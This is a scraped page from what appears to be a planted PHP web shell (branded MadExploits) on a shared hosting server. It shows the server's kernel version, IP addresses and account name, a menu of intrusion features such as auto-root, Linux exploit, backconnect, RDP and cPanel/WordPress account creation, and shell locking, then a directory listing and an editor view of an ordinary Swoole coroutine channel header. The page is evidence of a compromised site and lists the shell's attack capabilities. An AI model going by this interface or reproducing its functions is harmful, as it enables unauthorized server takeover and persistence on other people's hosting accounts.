Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
php81 /
usr /
include /
php /
ext /
swoole /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
swoole.h
22.85
KB
-rw-r--r--
swoole_api.h
3.39
KB
-rw-r--r--
swoole_asm_context.h
1.76
KB
-rw-r--r--
swoole_async.h
3.7
KB
-rw-r--r--
swoole_atomic.h
2.15
KB
-rw-r--r--
swoole_base64.h
1.29
KB
-rw-r--r--
swoole_buffer.h
2.28
KB
-rw-r--r--
swoole_c_api.h
2.19
KB
-rw-r--r--
swoole_channel.h
2.34
KB
-rw-r--r--
swoole_client.h
8.41
KB
-rw-r--r--
swoole_config.h
8.84
KB
-rw-r--r--
swoole_coroutine.h
8.96
KB
-rw-r--r--
swoole_coroutine_c_api.h
4.9
KB
-rw-r--r--
swoole_coroutine_channel.h
4.18
KB
-rw-r--r--
swoole_coroutine_context.h
2.59
KB
-rw-r--r--
swoole_coroutine_socket.h
18.85
KB
-rw-r--r--
swoole_coroutine_system.h
3.48
KB
-rw-r--r--
swoole_dtls.h
2.41
KB
-rw-r--r--
swoole_error.h
5.85
KB
-rw-r--r--
swoole_file.h
4.09
KB
-rw-r--r--
swoole_file_hook.h
2.86
KB
-rw-r--r--
swoole_hash.h
9.69
KB
-rw-r--r--
swoole_heap.h
1.79
KB
-rw-r--r--
swoole_http.h
6.99
KB
-rw-r--r--
swoole_http2.h
8.38
KB
-rw-r--r--
swoole_lock.h
2.64
KB
-rw-r--r--
swoole_log.h
15.72
KB
-rw-r--r--
swoole_lru_cache.h
3.17
KB
-rw-r--r--
swoole_memory.h
2.75
KB
-rw-r--r--
swoole_message_bus.h
5.53
KB
-rw-r--r--
swoole_mime_type.h
1.44
KB
-rw-r--r--
swoole_mqtt.h
2.18
KB
-rw-r--r--
swoole_msg_queue.h
1.92
KB
-rw-r--r--
swoole_pipe.h
2.64
KB
-rw-r--r--
swoole_process_pool.h
8.88
KB
-rw-r--r--
swoole_protocol.h
5.32
KB
-rw-r--r--
swoole_proxy.h
2.14
KB
-rw-r--r--
swoole_reactor.h
11.25
KB
-rw-r--r--
swoole_redis.h
2.09
KB
-rw-r--r--
swoole_server.h
39.62
KB
-rw-r--r--
swoole_signal.h
1.68
KB
-rw-r--r--
swoole_socket.h
17.61
KB
-rw-r--r--
swoole_socket_hook.h
2.23
KB
-rw-r--r--
swoole_ssl.h
4.94
KB
-rw-r--r--
swoole_static_handler.h
4.7
KB
-rw-r--r--
swoole_string.h
8.06
KB
-rw-r--r--
swoole_table.h
7.35
KB
-rw-r--r--
swoole_timer.h
4.05
KB
-rw-r--r--
swoole_util.h
5.58
KB
-rw-r--r--
swoole_version.h
2.21
KB
-rw-r--r--
swoole_websocket.h
4.53
KB
-rw-r--r--
swoole_wheel_timer.h
2.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : swoole_coroutine_channel.h
/* +----------------------------------------------------------------------+ | Swoole | +----------------------------------------------------------------------+ | This source file is subject to version 2.0 of the Apache license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.apache.org/licenses/LICENSE-2.0.html | | If you did not receive a copy of the Apache2.0 license and are unable| | to obtain it through the world-wide-web, please send a note to | | license@swoole.com so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: Tianfeng Han <rango@swoole.com> | | Twosee <twose@qq.com> | +----------------------------------------------------------------------+ */ #pragma once #include "swoole.h" #include "swoole_coroutine.h" #include <sys/stat.h> #include <iostream> #include <string> #include <list> #include <queue> namespace swoole { namespace coroutine { //------------------------------------------------------------------------------- class Channel { public: enum Opcode { PRODUCER = 1, CONSUMER = 2, }; enum ErrorCode { ERROR_OK = 0, ERROR_TIMEOUT = -1, ERROR_CLOSED = -2, ERROR_CANCELED = -3, }; struct TimeoutMessage { Channel *chan; Opcode type; Coroutine *co; bool error; TimerNode *timer; }; void *pop(double timeout = -1); bool push(void *data, double timeout = -1); bool close(); Channel(size_t _capacity = 1) : capacity(_capacity) {} ~Channel() { if (!producer_queue.empty()) { swoole_error_log(SW_LOG_WARNING, SW_ERROR_CO_HAS_BEEN_DISCARDED, "channel is destroyed, %zu producers will be discarded", producer_queue.size()); } if (!consumer_queue.empty()) { swoole_error_log(SW_LOG_WARNING, SW_ERROR_CO_HAS_BEEN_DISCARDED, "channel is destroyed, %zu consumers will be discarded", consumer_queue.size()); } } bool is_closed() { return closed; } bool is_empty() { return data_queue.size() == 0; } bool is_full() { return data_queue.size() == capacity; } size_t length() { return data_queue.size(); } size_t consumer_num() { return consumer_queue.size(); } size_t producer_num() { return producer_queue.size(); } void *pop_data() { if (data_queue.size() == 0) { return nullptr; } void *data = data_queue.front(); data_queue.pop(); return data; } int get_error() { return error_; } protected: size_t capacity = 1; bool closed = false; int error_ = 0; std::list<Coroutine *> producer_queue; std::list<Coroutine *> consumer_queue; std::queue<void *> data_queue; static void timer_callback(Timer *timer, TimerNode *tnode); void yield(enum Opcode type); void consumer_remove(Coroutine *co) { consumer_queue.remove(co); } void producer_remove(Coroutine *co) { producer_queue.remove(co); } Coroutine *pop_coroutine(enum Opcode type) { Coroutine *co; if (type == PRODUCER) { co = producer_queue.front(); producer_queue.pop_front(); swoole_trace_log(SW_TRACE_CHANNEL, "resume producer cid=%ld", co->get_cid()); } else // if (type == CONSUMER) { co = consumer_queue.front(); consumer_queue.pop_front(); swoole_trace_log(SW_TRACE_CHANNEL, "resume consumer cid=%ld", co->get_cid()); } return co; } }; //------------------------------------------------------------------------------- } // namespace coroutine } // namespace swoole
Close